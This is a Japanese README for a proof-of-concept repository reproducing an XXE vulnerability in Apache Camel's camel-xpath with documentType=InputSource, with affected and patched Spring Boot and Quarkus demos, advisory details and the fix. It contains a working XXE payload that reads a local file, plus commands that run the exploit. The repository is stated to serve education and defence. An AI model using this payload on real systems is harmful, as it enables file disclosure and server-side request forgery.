
Apache Camel camel-xpath(documentType=InputSource)における CVE-2026-85250 の実行可能な XXE 概念実証。Spring Boot と Quarkus の影響を受けるデモと修正済みデモを含む。
documentType=InputSource)Apache Camelの脆弱性を再現する実行可能な概念実証(PoC)です。この脆弱性では、documentTypeがInputSourceに設定されている場合、XPathBuilderがペイロードをそのままjavax.xml.xpathに渡し、javax.xml.xpathがJDKのデフォルト設定を使用して独自のDocumentBuilderを構築していました。そのため、Camelのデフォルトのドキュメントタイプに適用されていた強化策がバイパスされていました。デフォルトタイプでは拒否されるDOCTYPE宣言がここでは受け入れられ、そこで宣言された外部エンティティが解決され、評価対象のドキュメントに展開されました。XMLがこのような式に到達する外部送信者は、Camelプロセスが読み取り可能なファイルを読み取ったり、プロセスに指定したホストへのリクエストを発行させたりする可能性がありました。
| ランタイム | ディレクトリ | スタック |
|---|---|---|
| Camel Spring Boot | camel-spring-boot/ | Spring Boot 3.5.13 + camel-xpath 4.22.0(影響あり、修正版 4.22.1) |
| Camel Quarkus | camel-quarkus/ | Quarkus 3.29.0 + camel-quarkus-xpath(Camel 4.15.0、影響あり、修正対照 CQ 3.40.0 / Camel 4.22.1) |
両モジュールは、影響を受ける動作および修正済みの動作の両方を実演します。
無害な「シークレット」ファイル(マーカー文字列を含むcve-2026-85250-secret.txt)がディスク上に配置され、Camelプロセスが読み取り可能なローカルファイルの代役を務めます。攻撃者はXMLをInputStreamとして送信します(これがInputSourceに変換されます)。このXMLは、そのファイルを参照する外部エンティティを持つDOCTYPEを含んでいます:
<!DOCTYPE foo [ <!ELEMENT test ANY > <!ENTITY xxe SYSTEM "file:///…/cve-2026-85250-secret.txt" >]>
<test>&xxe;</test>
ルートはボディ上で xpath("/test/text()").documentType(InputSource.class) を評価します。
InputSource パーサー(JDK デフォルト)が外部エンティティを解決するため、XPath の結果は
ファイルの内容となり、マーカーが窃取されます。DOCTYPE は強化されたパーサー(デフォルトのドキュメントタイプが使用するものと同じ)によって拒否されるため、
エンティティが解決される前に評価が失敗します。# Camel Spring Boot
cd camel-spring-boot
mvn clean package
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack # affected: file contents leak into the result; >>> PROVEN
docker compose down
# Patched control
mvn clean package -Dcamel.version=4.22.1
java -jar target/cve-2026-85250-xpath-xxe-0.0.1-SNAPSHOT.jar &
curl -s http://localhost:8080/exploit/attack # fixed: DOCTYPE refused; >>> Not exploited
# Camel Quarkus
cd camel-quarkus
mvn clean package
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack # affected (Camel 4.15.0): file contents leak
docker compose down
# Patched control: CQ 3.40.0 ships Camel 4.22.1
mvn clean package -Dcamel-quarkus.version=3.40.0 -Dquarkus.platform.version=3.40.0
java -jar target/quarkus-app/quarkus-run.jar &
curl -s http://localhost:8080/exploit/attack # fixed: DOCTYPE refused
| 項目 | 値 |
|---|---|
| コンポーネント | camel-xpath (XPathBuilder, documentType=InputSource) |
| CWE | CWE-611 (XML外部エンティティ参照の不適切な制限) |
| 深刻度 | HIGH |
| 攻撃ベクトル | documentType=InputSource で設定されたXPath式によって評価される信頼できないXML |
| 影響 | XXE: 外部エンティティを介したローカルファイルの開示およびサーバーサイドリクエストフォージェリ |
| 影響を受けるバージョン | 4.0.0から4.18.5未満、4.19.0から4.22.1未満 |
| 修正済みバージョン | 4.18.5、4.22.1、4.23.0 |
| JIRA | CAMEL-24475 |
| クレジット | Claude Security Scan Tool |
アドバイザリ: https://camel.apache.org/security/CVE-2026-85250.html
XPathBuilder は、InputSource (および SAXSource) を
toHardenedDocument() 経由で処理するようになりました。これは、XPathエンジンに渡す前に、デフォルトのドキュメントタイプがすでに使用している同じ強化された
DocumentBuilderFactory を用いて org.w3c.dom.Document に変換します。これにより、両方の
ドキュメントタイプが同じ設定で解析され、DOCTYPE は拒否されます。なお、InputSource タイプはデフォルトタイプの文書化された
エスケープハッチも共有するようになりました。デフォルトタイプを緩和するのと同じ DocumentBuilderFactory システムプロパティが、このタイプも緩和します。
信頼できないXMLに対して評価される式では documentType=InputSource を使用しないでください。デフォルトのドキュメントタイプはすでに
DOCTYPE を拒否します。
このリポジトリは教育および防御目的で公開されています。Apache Camelユーザーが脆弱性を理解し、影響を受けているかどうかを確認し、アップグレードによって解決されることを確証できるようにするためです。「secret」ファイルは無害な、仕込まれたマーカーです。所有または運用していないシステムに対してこの資料を使用しないでください。